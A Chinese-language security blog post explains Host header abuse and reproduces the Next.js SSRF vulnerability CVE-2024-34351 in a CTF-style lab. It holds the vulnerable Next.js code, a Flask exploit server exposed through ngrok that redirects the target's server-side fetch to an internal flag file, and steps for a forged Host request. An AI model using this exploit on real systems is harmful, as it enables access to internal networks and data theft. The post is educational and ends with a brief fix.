从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害 本篇博文是《从0到1学习安全测试》中漏洞复现系列的第五篇博文，主要内容是通过代码审计以及场景复现一个 NextJS 的安全漏洞（CVE-2024-34351）来讲述滥用 Host 头的危害，往期系列文章请访问博主的 安全测试 专栏； 严正声明：本博文所讨论的技术仅用于研究学习，旨在增强读者的信息安全意识，提高信息安全防护技能，严禁用于非法活动。任何个人、团体、组织不得用于非法目的，违法犯罪必将受到法律的严厉制裁。 Host 概念介绍Host 是什么当你在浏览器中输入一个网址并回车时，你的浏览器会发送一个 HTTP 请求到相应的服务器以获取网页内容，在这个 HTTP 请求中，会有一个叫做 "Host" 的字段，"Host" 字段标识了 HTTP 请求中所访问的主机名或域名。 在 HTTP/1.1 协议中，这个字段是必需的，它告诉服务器请求是发送到哪个具体的主机。 w1.png在上述流量中，"Host" 字段的值是 "www.baidu.com" ，这告诉服务器，当前这个请求是为了获取 www.baidu.com 上的资源。 Host 的作用当用户通过域名请求一个网站时，首先会进行 DNS 查询，将域名解析为对应的 IP 地址。在传统模式中，一个 IP 地址只能对应一个服务器的一个端口，通常使用默认的80端口或443端口。但是，我们想要在同一台服务器上运营多个网站，这要如何实现呢？ 其中一种解决方案是利用 HTTP 请求头中的 "Host" 字段来区分用户访问的网站。服务器可以根据 "Host" 字段转发请求到对应的网站，这样就能实现一台服务器上运营多个网站。 w2.pngHost 滥用危害在正常情况下，Host 头部用于指示用户访问的域名，然而，攻击者可以通过修改 Host 头部来欺骗服务器，使其认为用户访问的是受信任的域名，从而绕过安全检查。 具体而言，攻击者可以构造一个恶意的 Host 头部，将其设置为目标服务器上的受信任域名。当服务器接收到请求时，它会根据 Host 头部来确定用户访问的站点，并执行相应的逻辑。攻击者可以利用这个漏洞来执行未经授权的操作，例如访问敏感数据、执行恶意代码等。 Host 滥用可能会导致以下一些危害： XSS、SSRF、SQL 注入等；未授权访问；网页缓存污染；密码重置污染；...接下来以 CVE-2024-34351 为例进行详细讲解，它是一个源自 NextJS 中的安全漏洞，该漏洞的利用方式是通过恶意构造的 Host 头部来触发 SSRF。 NextJS 既是客户端库，又提供了一个功能齐全的服务器端框架，但这一特性却让 hacker 有机可乘。在用户调用服务器接口，并且服务器以重定向进行响应时，它会调用以下函数： asyncfunctioncreateRedirectRenderResult( req:IncomingMessage, res:ServerResponse, redirectUrl:string, basePath:string, staticGenerationStore:StaticGenerationStore ){ ... if(redirectUrl.startsWith('/')){ ... consthost=req.headers['host'] ... constfetchUrl=newURL(`${proto}://${host}${basePath}${redirectUrl}`) ... try{ constheadResponse=awaitfetch(fetchUrl,{ method:'HEAD', headers:forwardedHeaders, next:{ //@ts-ignore internal:1, }, }) if( headResponse.headers.get('content-type')===RSC_CONTENT_TYPE_HEADER ){ constresponse=awaitfetch(fetchUrl,{ method:'GET', headers:forwardedHeaders, next:{ //@ts-ignore internal:1, }, }) ... returnnewFlightRenderResult(response.body!) } }catch(err){ ... } } returnRenderResult.fromStatic('{}') } 根据上述代码可以发现，如果重定向路径以 / 开头，服务器会请求 fetchUrl 资源返回给客户端，而不是直接将客户端直接重定向到 fetchUrl。 而 fetchUrl 中的目标地址正是来自客户端请求头中的 Host 参数： consthost=req.headers['host'] constfetchUrl=newURL(`${proto}://${host}${basePath}${redirectUrl}`) 如果我们伪造指向内部主机的 Host 头，NextJS 将尝试从该主机而不是应用程序本身获取响应，从而导致 SSRF。 下面我们将通过场景复现的形式来进一步讲解，同时也能够加深读者的理解。 Host 漏洞复现现在有一个 WEB 程序，目录结构如下所示： Archive: log-action.zip creating: log-action/ creating: log-action/backend/ inflating: log-action/backend/flag.txt inflating: log-action/docker-compose.yml creating: log-action/frontend/ inflating: log-action/frontend/.gitignore inflating: log-action/frontend/Dockerfile inflating: log-action/frontend/entrypoint.sh inflating: log-action/frontend/next-env.d.ts inflating: log-action/frontend/next.config.mjs inflating: log-action/frontend/package-lock.json inflating: log-action/frontend/package.json inflating: log-action/frontend/postcss.config.mjs creating: log-action/frontend/src/ creating: log-action/frontend/src/app/ creating: log-action/frontend/src/app/admin/ inflating: log-action/frontend/src/app/admin/page.tsx inflating: log-action/frontend/src/app/global.css inflating: log-action/frontend/src/app/layout.tsx creating: log-action/frontend/src/app/login/ inflating: log-action/frontend/src/app/login/page.tsx creating: log-action/frontend/src/app/logout/ inflating: log-action/frontend/src/app/logout/page.tsx inflating: log-action/frontend/src/app/page.tsx inflating: log-action/frontend/src/auth.config.ts inflating: log-action/frontend/src/auth.ts creating: log-action/frontend/src/lib/ inflating: log-action/frontend/src/lib/actions.ts inflating: log-action/frontend/src/middleware.ts inflating: log-action/frontend/tailwind.config.ts inflating: log-action/frontend/tsconfig.json 我们的目的是获取到 log-action/backend/flag.txt 里的内容。当前 log-action/backend/flag.txt 通过 Nginx 挂载到 /usr/share/nginx/html/flag.txt，因此，我们只需要到达内部 Nginx，即可访问 http://后端IP/flag.txt 来获取到文件内容。 w3.png这里利用了 Next.js 在服务器操作中的 SSRF 漏洞（CVE-2024-34351）。当我们调用一个服务器动作时，它会通过异步函数 createRedirectRenderResult() 来响应一个重定向。Tip: 已在上文进行分析。 而 WEB 应用程序源代码中的注销页面 log-action/frontend/src/app/logout/page.tsx 刚好符合上述条件，它使用服务器操作 "use server"; 和 redirect() 函数将客户端重定向到 /login。 w4.png当我们点击注销页面的 “Log out” 按钮时，它会发送以下 POST 请求： w5.png因为重定向路径以 / 开头，它首先获取重定向路径的响应，然后将响应返回给客户端，而不是直接重定向到客户端，因此我们可以利用此特性，让服务器端使用 Host 头从任何来源获取任何资源。 在本地创建一个 Flask 应用程序，代码如下所示： fromflaskimportFlask,request,Response app=Flask(__name__) @app.route('/login') defexploit(): ifrequest.method=='HEAD': response=Response() response.headers['Content-Type']='text/x-component' returnresponse elifrequest.method=='GET': return'AfterCORSpreflightcheck' if__name__=='__main__': app.run(port=80,debug=True) Tip 代码里的路由为 /login 是没有问题的，因为我们的下一个动作就是 redirect("/login")。 这是 NextJS 的特性，它使用 Next-Action ID 来唯一标识我们下一步要采取的动作，因此只要我们传递对应的 Next-Action 标头就会触发动作，而不用去关心具体的路由。 通过 ngrok 进行端口转发： Forwarding https://1593-{REDACTED}.ngrok-free.app - http://localhost:80 重新发送 /logout 请求，请求结果如下所示： w6.png可以发现我们成功地获取到了响应体，那么接下来我们只要更改成 Flask 的代码，将服务器端的 fetch 重定向到我们想要的资源即可，修改代码如下所示： @app.route('/login') defexploit(): ifrequest.method=='HEAD': ... elifrequest.method=='GET': ip='后端IP' returnredirect(f'http://{ip}/flag.txt') 运行结果： w7.png为了修复这个漏洞，开发者应该在处理重定向逻辑时，对 Host 头部进行严格的验证和过滤，确保只接受受信任的域名，并对非法的 Host 头部进行拒绝或适当的处理。 后记在本文中，我们通过分析 NextJS SSRF 漏洞（CVE-2024-34351），展示了滥用 Host 头所带来的危害。通过对 Host 的概念介绍和滥用危害的详细讨论，我们希望读者能够加深对这一问题的理解，并在开发和维护应用程序时更加重视和注意 Host 头的安全使用。 以上就是博文从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害的所有内容了，希望本篇博文对大家有所帮助！欢迎大家持续关注我的博客，一起分享学习和成长的乐趣！? 严正声明：本博文所讨论的技术仅用于研究学习，旨在增强读者的信息安全意识，提高信息安全防护技能，严禁用于非法活动。任何个人、团体、组织不得用于非法目的，违法犯罪必将受到法律的严厉制裁。 阅读原文